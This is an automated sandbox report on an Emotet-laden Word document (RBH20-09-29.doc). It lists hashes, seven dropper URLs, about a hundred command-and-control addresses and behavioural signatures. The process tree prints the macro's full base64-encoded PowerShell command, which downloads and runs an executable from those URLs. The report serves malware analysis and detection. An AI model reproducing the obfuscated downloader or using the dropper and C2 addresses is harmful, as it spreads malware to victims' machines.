Analysis
- max time kernel
136s - max time network
133s - platform
windows10_x64 - resource
win10 - submitted
28/09/2020, 23:56
Static task
static1
Behavioral task
behavioral1
Sample
RBH20-09-29.doc
Resource
win7v200722
General
- Target RBH20-09-29.doc
- Size 138KB
- Sample200928-4trtyvhlaa
- SHA256 9cf48f4fe355603a666bd5683a2b08342265c8a43b2735f541b2355feaf68e82
- MD5 419315738046b3912d93f3f369b10071
- SHA1 cb538a8126f558165e54671af9eadd3e7452f7a2
- SHA512 3b2662d24b5cc541ed5cce3dd87d93af3804a25d393d7e4abe017c6c96504f6609cba04b05b8e483abad788ecfef08f0492df249313a0b4c7387e42dabd482b0
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://edu.jmsvclass.com/wp-includes/sZmjSq/
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exe.dropper
http://darkblessing.net/e4wftkpn/KNAO9/
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exe.dropper
http://trancisconsulting.com/wp-admin/EEoF/
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exe.dropper
http://devanyastore.com/wp-content/9J56juA/
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exe.dropper
http://healthcureathome.com/ALFA_DATA/iKSdCK6/
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exe.dropper
http://www.szwymall.com/wp-content/j29mvS/
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exe.dropper
http://www.jornco.com/wp-admin/UT0xBJw/
Extracted
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emotet
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38.18.235.242:80
-
5.196.108.189:8080
-
121.124.124.40:7080
-
104.236.246.93:8080
-
113.61.66.94:80
-
120.150.60.189:80
-
91.211.88.52:7080
-
47.144.21.12:443
-
108.46.29.236:80
-
139.162.108.71:8080
-
134.209.36.254:8080
-
139.59.60.244:8080
-
66.65.136.14:80
-
76.175.162.101:80
-
174.106.122.139:80
-
95.213.236.64:8080
-
174.45.13.118:80
-
50.35.17.13:80
-
209.141.54.221:8080
-
87.106.139.101:8080
-
96.249.236.156:443
-
176.111.60.55:8080
-
85.96.199.93:80
-
87.106.136.232:8080
-
97.82.79.83:80
-
185.94.252.104:443
-
79.98.24.39:8080
-
142.112.10.95:20
-
5.196.74.210:8080
-
94.1.108.190:443
-
24.137.76.62:80
-
121.7.127.163:80
-
37.139.21.175:8080
-
213.196.135.145:80
-
83.169.36.251:8080
-
24.179.13.119:80
-
137.59.187.107:8080
-
181.169.34.190:80
-
139.130.242.43:80
-
42.200.107.142:80
-
140.186.212.146:80
-
74.208.45.104:8080
-
188.219.31.12:80
-
105.186.233.33:80
-
93.147.212.206:80
-
194.187.133.160:443
-
61.19.246.238:443
-
85.152.162.105:80
-
5.39.91.110:7080
-
71.72.196.159:80
-
24.43.99.75:80
-
139.162.60.124:8080
-
124.41.215.226:80
-
67.10.155.92:80
-
109.74.5.95:8080
-
78.187.156.31:80
-
195.7.12.8:80
-
187.49.206.134:80
-
123.176.25.234:80
-
157.245.99.39:8080
-
78.188.106.53:443
-
94.200.114.161:80
-
94.23.237.171:443
-
104.251.33.179:80
-
68.252.26.78:80
-
75.139.38.211:80
-
103.86.49.11:8080
-
62.75.141.82:80
-
172.104.97.173:8080
-
79.137.83.50:443
-
110.142.236.207:80
-
162.241.242.173:8080
-
78.24.219.147:8080
-
91.146.156.228:80
-
118.83.154.64:443
-
216.139.123.119:80
-
121.7.31.214:80
-
181.169.235.7:80
-
139.99.158.11:443
-
172.91.208.86:80
-
46.105.131.79:8080
-
104.131.11.150:443
-
110.145.77.103:80
-
82.80.155.43:80
-
168.235.67.138:7080
-
50.91.114.38:80
-
137.119.36.33:80
-
203.153.216.189:7080
-
37.187.72.193:8080
-
24.43.32.186:80
-
130.0.132.242:80
-
80.241.255.202:8080
-
220.245.198.194:80
-
190.240.194.77:443
-
89.216.122.92:80
-
1.221.254.82:80
-
104.131.44.150:8080
-
62.30.7.67:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2160 1344 POwersheLL.exe 73 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3996-12-0x00000000001D0000-0x00000000001E2000-memory.dmp emotet behavioral2/memory/3996-12-0x00000000001D0000-0x00000000001E2000-memory.dmp emotet behavioral2/memory/3996-13-0x00000000001F0000-0x0000000000200000-memory.dmp emotet behavioral2/memory/3996-13-0x00000000001F0000-0x0000000000200000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 14 2160 POwersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3996 Onj2qmzt.exe 3744 ifmon.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\apds\ifmon.exe Onj2qmzt.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3984 WINWORD.EXE 3984 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 2160 POwersheLL.exe 2160 POwersheLL.exe 2160 POwersheLL.exe 3744 ifmon.exe 3744 ifmon.exe 3744 ifmon.exe 3744 ifmon.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2160 POwersheLL.exe - Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 3984 WINWORD.EXE 3984 WINWORD.EXE 3984 WINWORD.EXE 3984 WINWORD.EXE 3984 WINWORD.EXE 3984 WINWORD.EXE 3984 WINWORD.EXE 3984 WINWORD.EXE 3984 WINWORD.EXE - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2160 wrote to memory of 3996 2160 POwersheLL.exe 79 PID 2160 wrote to memory of 3996 2160 POwersheLL.exe 79 PID 2160 wrote to memory of 3996 2160 POwersheLL.exe 79 PID 3996 wrote to memory of 3744 3996 Onj2qmzt.exe 82 PID 3996 wrote to memory of 3744 3996 Onj2qmzt.exe 82 PID 3996 wrote to memory of 3744 3996 Onj2qmzt.exe 82
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\RBH20-09-29.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3984
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C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABNAHYAbQA5AHgAZABwAD0AKAAoACcARwB2AHkANgAnACsAJwB0ACcAKwAnAF8AJwApACsAJwA4ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBwAHIATwBGAGkATABlAFwAVAA0AFkAeQBlAFIAOABcAGgASgBfAE0ARgBaAFYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIAZQBjAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAGAAVQByAGkAYABUAGAAWQBwAFIATwBgAFQATwBDAE8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACcAKwAnADEAMgAsACAAdABsAHMAJwArACcAMQAxACwAJwApACsAJwAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQAQgAzAHUAbwBuAHQAMQAgAD0AIAAoACgAJwBPAG4AagAnACsAJwAyACcAKQArACgAJwBxACcAKwAnAG0AegAnACkAKwAnAHQAJwApADsAJABJAGQAdAA2ADQAZQBuAD0AKAAoACcARAA4ACcAKwAnADMAaAAnACkAKwAoACcANAAnACsAJwB1AHkAJwApACkAOwAkAFoAcgB0AG8AMwA2AGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAYwAnACsAJwBHACcAKwAoACcATAAnACsAJwBUADQAJwApACsAKAAnAHkAJwArACcAeQBlACcAKQArACgAJwByACcAKwAnADgAYwAnACkAKwAnAEcAJwArACgAJwBMACcAKwAnAEgAagBfACcAKQArACgAJwBtACcAKwAnAGYAegB2AGMARwBMACcAKQApAC4AIgBSAGUAYABQAEwAQQBDAGUAIgAoACgAWwBDAGgAYQByAF0AOQA5ACsAWwBDAGgAYQByAF0ANwAxACsAWwBDAGgAYQByAF0ANwA2ACkALAAnAFwAJwApACkAKwAkAEIAMwB1AG8AbgB0ADEAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABJAG8AdAA1AGMAegBrAD0AKAAoACcATQAnACsAJwAzADMAcQA2ADAAJwApACsAJwBmACcAKQA7ACQATgByAG8AbQBvAGcAcgA9AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAZQBjAHQAJwApACAAbgBFAFQALgB3AGUAQgBDAEwASQBFAG4AdAA7ACQARQBvADYAMQB4AGMAbwA9ACgAKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwAvACcAKQArACcALwAnACsAJwBlACcAKwAnAGQAdQAnACsAJwAuAGoAJwArACgAJwBtAHMAJwArACcAdgAnACkAKwAoACcAYwBsAGEAcwBzAC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAALQBpAG4AJwArACcAYwAnACkAKwAoACcAbAB1AGQAJwArACcAZQBzACcAKQArACcALwBzACcAKwAoACcAWgAnACsAJwBtAGoAJwApACsAKAAnAFMAcQAnACsAJwAvACoAJwArACcAaAB0ACcAKQArACcAdABwACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AJwArACcAZABhAHIAJwApACsAJwBrACcAKwAoACcAYgBsAGUAcwAnACsAJwBzACcAKQArACcAaQBuACcAKwAoACcAZwAuACcAKwAnAG4AZQAnACkAKwAoACcAdAAvAGUAJwArACcANAB3AGYAdAAnACkAKwAnAGsAJwArACcAcABuACcAKwAoACcALwBLAE4AQQBPADkALwAqAGgAdAB0AHAAOgAvAC8AdAAnACsAJwByAGEAJwArACcAbgAnACsAJwBjAGkAJwArACcAcwAnACsAJwBjAG8AbgBzACcAKQArACgAJwB1ACcAKwAnAGwAdABpACcAKQArACcAbgBnACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACgAJwAvACcAKwAnAHcAcAAtAGEAJwApACsAJwBkACcAKwAoACcAbQBpAG4ALwAnACsAJwBFAEUAJwApACsAJwBvAEYAJwArACcALwAqACcAKwAoACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBkAGUAdgBhAG4AJwArACcAeQBhAHMAJwArACcAdABvAHIAZQAnACkAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtAC8AJwArACcAdwAnACsAKAAnAHAALQBjAG8AJwArACcAbgAnACsAJwB0AGUAJwApACsAJwBuACcAKwAoACcAdAAvACcAKwAnADkASgA1ADYAJwApACsAJwBqAHUAJwArACcAQQAnACsAKAAnAC8AJwArACcAKgBoAHQAJwArACcAdABwACcAKQArACcAOgAvACcAKwAnAC8AaAAnACsAKAAnAGUAJwArACcAYQBsAHQAaABjAHUAJwArACcAcgBlACcAKQArACcAYQAnACsAKAAnAHQAJwArACcAaABvAG0AJwApACsAKAAnAGUALgAnACsAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBBAEwARgAnACsAJwBBAF8AJwApACsAJwBEAEEAJwArACcAVAAnACsAKAAnAEEALwAnACsAJwBpACcAKQArACgAJwBLACcAKwAnAFMAZAAnACkAKwAnAEMAJwArACgAJwBLACcAKwAnADYALwAqAGgAJwArACcAdAB0ACcAKwAnAHAAOgAnACkAKwAnAC8ALwAnACsAJwB3AHcAJwArACcAdwAnACsAJwAuAHMAJwArACgAJwB6AHcAJwArACcAeQAnACkAKwAnAG0AJwArACgAJwBhAGwAJwArACcAbAAuACcAKQArACcAYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwAnACsAJwBwACcAKwAoACcALQAnACsAJwBjAG8AJwApACsAKAAnAG4AdABlACcAKwAnAG4AJwArACcAdAAvACcAKQArACcAagAnACsAKAAnADIAJwArACcAOQBtACcAKQArACgAJwB2ACcAKwAnAFMALwAqAGgAdAB0ACcAKwAnAHAAOgAvACcAKQArACgAJwAvAHcAdwAnACsAJwB3AC4AJwApACsAKAAnAGoAbwByAG4AYwBvAC4AYwBvACcAKwAnAG0AJwArACcALwB3ACcAKwAnAHAAJwArACcALQAnACkAKwAnAGEAJwArACgAJwBkACcAKwAnAG0AaQBuACcAKQArACgAJwAvACcAKwAnAFUAVAAwACcAKQArACgAJwB4AEIAJwArACcASgB3AC8AJwApACkALgAiAHMAYABwAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgBtAGwAXwA4AHIAcQA9ACgAKAAnAEgAJwArACcAeQBvACcAKQArACgAJwBkAGUAJwArACcAbAAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBrAHUAXwB0AGQAXwAgAGkAbgAgACQARQBvADYAMQB4AGMAbwApAHsAdAByAHkAewAkAE4AcgBvAG0AbwBnAHIALgAiAEQAYABvAGAAdwBuAEwATwBhAGQAZgBpAGwARQAiACgAJABCAGsAdQBfAHQAZABfACwAIAAkAFoAcgB0AG8AMwA2AGYAKQA7ACQAUABuAGYAOQBmAHoAdAA9ACgAKAAnAFYAZwBvAGEAJwArACcAbgAnACkAKwAnADkAJwArACcAbQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWgByAHQAbwAzADYAZgApAC4AIgBMAEUAYABOAGcAYABUAEgAIgAgAC0AZwBlACAAMgAzADIANQAzACkAIAB7AC4AKAAnAEkAbgB2AG8AJwArACcAawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFoAcgB0AG8AMwA2AGYAKQA7ACQAWABvAHEAaQB5AHIANQA9ACgAKAAnAEIAdQBvACcAKwAnAGwAaAAnACkAKwAnAGkAZgAnACkAOwBiAHIAZQBhAGsAOwAkAFkANgByADUAaAAxAGUAPQAoACcAUwAnACsAJwBmACcAKwAoACcAMgBkAHEAJwArACcAZABuACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAG0AaQA5AGsAdgA5AD0AKAAnAEkAXwAnACsAKAAnAGQAZgBlACcAKwAnAG0AeAAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2160 -
C:\Users\Admin\T4yyer8\Hj_mfzv\Onj2qmzt.exe"C:\Users\Admin\T4yyer8\Hj_mfzv\Onj2qmzt.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3996 -
C:\Windows\SysWOW64\apds\ifmon.exe"C:\Windows\SysWOW64\apds\ifmon.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3744
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-